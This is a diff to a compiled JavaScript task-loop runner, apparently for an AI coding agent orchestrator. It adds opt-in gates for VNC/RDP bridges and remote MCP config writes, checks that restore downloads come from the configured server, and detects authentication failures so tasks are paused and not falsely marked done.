package/out/taskLoop.js
CHANGED
|
@@ -446,6 +446,10 @@ class TaskLoopRunner {
|
|
|
446
446
|
if (this._webhookPoller) {
|
|
447
447
|
this._webhookPoller.setGitEnabled(settings.gitEnabled ?? false);
|
|
448
448
|
this._webhookPoller.setFileBrowserEnabled(settings.enableFileBrowser ?? false);
|
|
449
|
+
// VNC / RDP session bridges are honored only when explicitly enabled —
|
|
450
|
+
// an ungated frame would let a remote party open outbound bridges.
|
|
451
|
+
this._webhookPoller.setVncEnabled(settings.vncEnabled ?? false);
|
|
452
|
+
this._webhookPoller.setRdpEnabled(settings.rdpEnabled ?? false);
|
|
449
453
|
// Wake the idle no-task sleep instantly when a WS-pushed task arrives.
|
|
450
454
|
this._webhookPoller.setOnTaskAppend(() => this._wakeIdleSleep());
|
|
451
455
|
this._webhookPoller.setOnSteer((text) => this._handleSteer(text));
|
|
@@ -637,11 +641,25 @@ class TaskLoopRunner {
|
|
|
637
641
|
const root = this._workspaceRoot;
|
|
638
642
|
if (!root)
|
|
639
643
|
return;
|
|
640
|
-
|
|
644
|
+
// Opt-in gate: writing remote-supplied MCP config spawns stdio child
|
|
645
|
+
// processes on restart (code-execution surface). Ignore unless explicitly
|
|
646
|
+
// enabled, mirroring enableFileBrowser / gitEnabled.
|
|
647
|
+
if (!this._settings?.mcpUpdateEnabled) {
|
|
648
|
+
this._cb?.log('🔒 mcp_update ignored — mcpUpdateEnabled is off (set it in .autodev/settings.json to allow)');
|
|
649
|
+
return;
|
|
650
|
+
}
|
|
651
|
+
this._cb?.log('🔧 mcp_update received — validating and writing .mcp.json…');
|
|
652
|
+
// Reject entries that would execute an arbitrary shell / path command.
|
|
653
|
+
const { safe, rejected } = (0, projectMcp_1.sanitizeRemoteMcpEntries)(entries);
|
|
654
|
+
if (rejected.length) {
|
|
655
|
+
this._cb?.log(`⚠️ mcp_update dropped ${rejected.length} unsafe entr${rejected.length === 1 ? 'y' : 'ies'}: ${rejected.join(', ')}`);
|
|
656
|
+
}
|
|
657
|
+
if (Object.keys(safe).length === 0) {
|
|
658
|
+
this._cb?.log('⚠️ mcp_update had no safe entries — not writing config or restarting.');
|
|
659
|
+
return;
|
|
660
|
+
}
|
|
641
661
|
try {
|
|
642
|
-
|
|
643
|
-
const typed = entries;
|
|
644
|
-
(0, projectMcp_1.saveProjectUserMcp)(root, typed);
|
|
662
|
+
(0, projectMcp_1.saveProjectUserMcp)(root, safe);
|
|
645
663
|
configManager_1.ConfigManager.syncProjectMcpServers(root, (m) => this._cb?.log(m));
|
|
646
664
|
void configManager_1.ConfigManager.reportProjectMcp(root, (m) => this._cb?.log(m));
|
|
647
665
|
this._cb?.log('✅ MCP config synced to .mcp.json, opencode.json, .vscode/mcp.json — restarting loop…');
|
|
@@ -687,6 +705,13 @@ class TaskLoopRunner {
|
|
|
687
705
|
this._cb?.log('⚠️ restore_request ignored — serverApiKey not configured');
|
|
688
706
|
return;
|
|
689
707
|
}
|
|
708
|
+
// The download carries the agent's Bearer credential and overwrites the
|
|
709
|
+
// workspace, so the URL must point at the configured server origin — never
|
|
710
|
+
// an attacker-chosen host from the WS frame.
|
|
711
|
+
if (!(0, agentBackup_1.isTrustedDownloadUrl)(downloadUrl, settings.serverBaseUrl)) {
|
|
712
|
+
this._cb?.log(`🔒 restore_request refused — downloadUrl origin does not match the configured server: ${downloadUrl}`);
|
|
713
|
+
return;
|
|
714
|
+
}
|
|
690
715
|
this._cb?.log(`🔄 restore_request received — downloading backup from ${downloadUrl}…`);
|
|
691
716
|
const tmpPath = path.join(os.tmpdir(), `agent-restore-${agentId}-${Date.now()}.zip`);
|
|
692
717
|
try {
|
|
@@ -1687,6 +1712,33 @@ class TaskLoopRunner {
|
|
|
1687
1712
|
}
|
|
1688
1713
|
}
|
|
1689
1714
|
catch (err) {
|
|
1715
|
+
// --- Auth required: pause INDEFINITELY, never mark the task done ----
|
|
1716
|
+
// A logged-out / out-of-credit CLI is not a task failure. Put the task
|
|
1717
|
+
// back to [ ], flip the office to a distinct 'needs reauth' state, and
|
|
1718
|
+
// block until the operator re-authenticates and clicks Retry.
|
|
1719
|
+
if (err instanceof rateLimit_1.AuthError) {
|
|
1720
|
+
const rawMsg = err.rawMessage.slice(0, 300);
|
|
1721
|
+
const currentProvider = this._cb?.getActiveProvider() ?? 'unknown';
|
|
1722
|
+
this._cb?.log(`🔑 Authentication required (${currentProvider}) — pausing loop until re-auth. ${rawMsg}`);
|
|
1723
|
+
this._notifyDiscord(`🔑 **Authentication required** (${currentProvider}) — loop paused until you re-authenticate.\n\`\`\`\n${rawMsg}\n\`\`\``);
|
|
1724
|
+
this._notifyWebhook('reauth_required', {
|
|
1725
|
+
iteration: this._iterations,
|
|
1726
|
+
task: { text: task.text },
|
|
1727
|
+
message: rawMsg,
|
|
1728
|
+
provider: currentProvider,
|
|
1729
|
+
workDir: this._workspaceRoot,
|
|
1730
|
+
gitRepo: this._gitRepo,
|
|
1731
|
+
gitBranch: this._gitBranch,
|
|
1732
|
+
});
|
|
1733
|
+
// Never markDone — restore the task so it is retried after re-auth.
|
|
1734
|
+
await todoWriteManager_1.todoWriter.resetToTodo(todoPath, task).catch(() => { });
|
|
1735
|
+
// Pause indefinitely (no auto-resume) — operator must re-auth + Retry.
|
|
1736
|
+
await this._pauseLoop();
|
|
1737
|
+
if (this._state !== 'running') {
|
|
1738
|
+
break;
|
|
1739
|
+
}
|
|
1740
|
+
continue;
|
|
1741
|
+
}
|
|
1690
1742
|
// --- Rate limit: pause loop, schedule auto-resume -----------------
|
|
1691
1743
|
if (err instanceof rateLimit_1.RateLimitError) {
|
|
1692
1744
|
// Two flavours:
|
|
@@ -1979,6 +2031,13 @@ class TaskLoopRunner {
|
|
|
1979
2031
|
const iscopilotSdkProvider = this._cb?.getActiveProvider() === 'copilot-sdk';
|
|
1980
2032
|
const isOpenCodeCli = this._cb?.getActiveProvider() === 'opencode-cli';
|
|
1981
2033
|
const isOpencodeSdk = this._cb?.getActiveProvider() === 'opencode-sdk';
|
|
2034
|
+
// grok-cli / grok-tui / copilot-cli all tee stdout too — without these flags
|
|
2035
|
+
// the rate-limit / context-length / thrash detectors never ran for them, so
|
|
2036
|
+
// a throttled or context-blown turn was silently walked to give_up and the
|
|
2037
|
+
// task was falsely marked [x].
|
|
2038
|
+
const isGrokCli = this._cb?.getActiveProvider() === 'grok-cli';
|
|
2039
|
+
const isGrokTui = this._cb?.getActiveProvider() === 'grok-tui';
|
|
2040
|
+
const isCopilotCli = this._cb?.getActiveProvider() === 'copilot-cli';
|
|
1982
2041
|
return new Promise((resolve, reject) => {
|
|
1983
2042
|
if (this._state !== 'running') {
|
|
1984
2043
|
resolve();
|
|
@@ -2112,10 +2171,15 @@ class TaskLoopRunner {
|
|
|
2112
2171
|
// Track how many characters of the stdout file we've already forwarded
|
|
2113
2172
|
let lastStdoutLen = 0;
|
|
2114
2173
|
// Check stdout file: forward any new content to Discord/webhook, detect rate limit / context errors
|
|
2174
|
+
// Providers that write a stdout capture file we can scan for failure
|
|
2175
|
+
// banners (rate-limit / context-length / thrash). Every CLI/TUI provider
|
|
2176
|
+
// tees stdout; the two Claude ones and OpenCode also stream/parse extra.
|
|
2177
|
+
const teesStdout = isClaudeCli || isClaudeTui || iscopilotSdkProvider || isOpenCodeCli
|
|
2178
|
+
|| isGrokCli || isGrokTui || isCopilotCli;
|
|
2115
2179
|
const checkStdout = () => {
|
|
2116
|
-
if (!
|
|
2180
|
+
if (!teesStdout) {
|
|
2117
2181
|
return;
|
|
2118
|
-
}
|
|
2182
|
+
}
|
|
2119
2183
|
const content = readStdoutFile();
|
|
2120
2184
|
// Forward new output lines to Discord / webhook.
|
|
2121
2185
|
// claude-cli: stream partial chunks so the operator can see live progress.
|
|
@@ -2140,8 +2204,22 @@ class TaskLoopRunner {
|
|
|
2140
2204
|
else {
|
|
2141
2205
|
lastStdoutLen = content.length; // keep cursor up to date
|
|
2142
2206
|
}
|
|
2143
|
-
//
|
|
2144
|
-
|
|
2207
|
+
// Auth failure detection — highest priority. A logged-out / out-of-credit
|
|
2208
|
+
// CLI exits fast with no rate-limit or context signal, so without this it
|
|
2209
|
+
// was walked remind->give_up and the whole backlog was falsely marked [x].
|
|
2210
|
+
{
|
|
2211
|
+
const authErr = rateLimit_1.AuthDetector.detect(content);
|
|
2212
|
+
if (authErr) {
|
|
2213
|
+
cleanup();
|
|
2214
|
+
reject(authErr);
|
|
2215
|
+
return;
|
|
2216
|
+
}
|
|
2217
|
+
}
|
|
2218
|
+
// Rate limit detection — run for every stdout-teeing provider. The
|
|
2219
|
+
// RateLimitDetector phrases are scoped to error/banner forms, so this
|
|
2220
|
+
// is safe to apply provider-agnostically (grok/copilot were previously
|
|
2221
|
+
// excluded, letting a throttle slip through to a false [x]).
|
|
2222
|
+
{
|
|
2145
2223
|
const rlErr = rateLimit_1.RateLimitDetector.detect(content);
|
|
2146
2224
|
if (rlErr) {
|
|
2147
2225
|
cleanup();
|
|
@@ -2158,28 +2236,13 @@ class TaskLoopRunner {
|
|
|
2158
2236
|
return;
|
|
2159
2237
|
}
|
|
2160
2238
|
}
|
|
2161
|
-
// Context
|
|
2239
|
+
// Context-length / thrash detection for the remaining CLI+TUI providers.
|
|
2240
|
+
// Patterns observed:
|
|
2162
2241
|
// "prompt is too long: 1018289 tokens > 1000000 maximum"
|
|
2163
2242
|
// "Prompt is too long" (last_assistant_message in StopFailure hook)
|
|
2164
|
-
// "context_length_exceeded"
|
|
2243
|
+
// "context_length_exceeded" / "maximum context length"
|
|
2165
2244
|
// "Autocompact is thrashing" (context refills immediately after compact)
|
|
2166
|
-
if (isClaudeCli) {
|
|
2167
|
-
const lc = content.toLowerCase();
|
|
2168
|
-
if (lc.includes('autocompact is thrashing')) {
|
|
2169
|
-
cleanup();
|
|
2170
|
-
reject(new ThrashingError(content.trim()));
|
|
2171
|
-
return;
|
|
2172
|
-
}
|
|
2173
|
-
if (lc.includes('prompt is too long')
|
|
2174
|
-
|| lc.includes('context_length_exceeded')
|
|
2175
|
-
|| /tokens?\s*>\s*\d+\s*maximum/.test(lc)) {
|
|
2176
|
-
cleanup();
|
|
2177
|
-
reject(new ContextLengthError(content.trim()));
|
|
2178
|
-
return;
|
|
2179
|
-
}
|
|
2180
|
-
}
|
|
2181
|
-
// Context length detection for claude-tui (same patterns)
|
|
2182
|
-
if (isClaudeTui) {
|
|
2245
|
+
if (isClaudeCli || isClaudeTui || isGrokCli || isGrokTui || isCopilotCli) {
|
|
2183
2246
|
const lc = content.toLowerCase();
|
|
2184
2247
|
if (lc.includes('autocompact is thrashing')) {
|
|
2185
2248
|
cleanup();
|
|
@@ -2188,6 +2251,7 @@ class TaskLoopRunner {
|
|
|
2188
2251
|
}
|
|
2189
2252
|
if (lc.includes('prompt is too long')
|
|
2190
2253
|
|| lc.includes('context_length_exceeded')
|
|
2254
|
+
|| lc.includes('maximum context length')
|
|
2191
2255
|
|| /tokens?\s*>\s*\d+\s*maximum/.test(lc)) {
|
|
2192
2256
|
cleanup();
|
|
2193
2257
|
reject(new ContextLengthError(content.trim()));
|
|
@@ -2227,9 +2291,17 @@ class TaskLoopRunner {
|
|
|
2227
2291
|
return;
|
|
2228
2292
|
}
|
|
2229
2293
|
// Fast-path: if the stdout capture file already contains a rate-limit
|
|
2230
|
-
// or context-length phrase at exit time, raise immediately.
|
|
2294
|
+
// or context-length phrase at exit time, raise immediately. Applies to
|
|
2295
|
+
// every stdout-teeing provider so a throttled grok/copilot exit pauses
|
|
2296
|
+
// instead of being force-marked done.
|
|
2231
2297
|
const exitStdout = readStdoutFile();
|
|
2232
|
-
if (
|
|
2298
|
+
if (teesStdout) {
|
|
2299
|
+
const authFromStdout = rateLimit_1.AuthDetector.detect(exitStdout);
|
|
2300
|
+
if (authFromStdout) {
|
|
2301
|
+
cleanup();
|
|
2302
|
+
reject(authFromStdout);
|
|
2303
|
+
return;
|
|
2304
|
+
}
|
|
2233
2305
|
const rlFromStdout = rateLimit_1.RateLimitDetector.detect(exitStdout);
|
|
2234
2306
|
if (rlFromStdout) {
|
|
2235
2307
|
cleanup();
|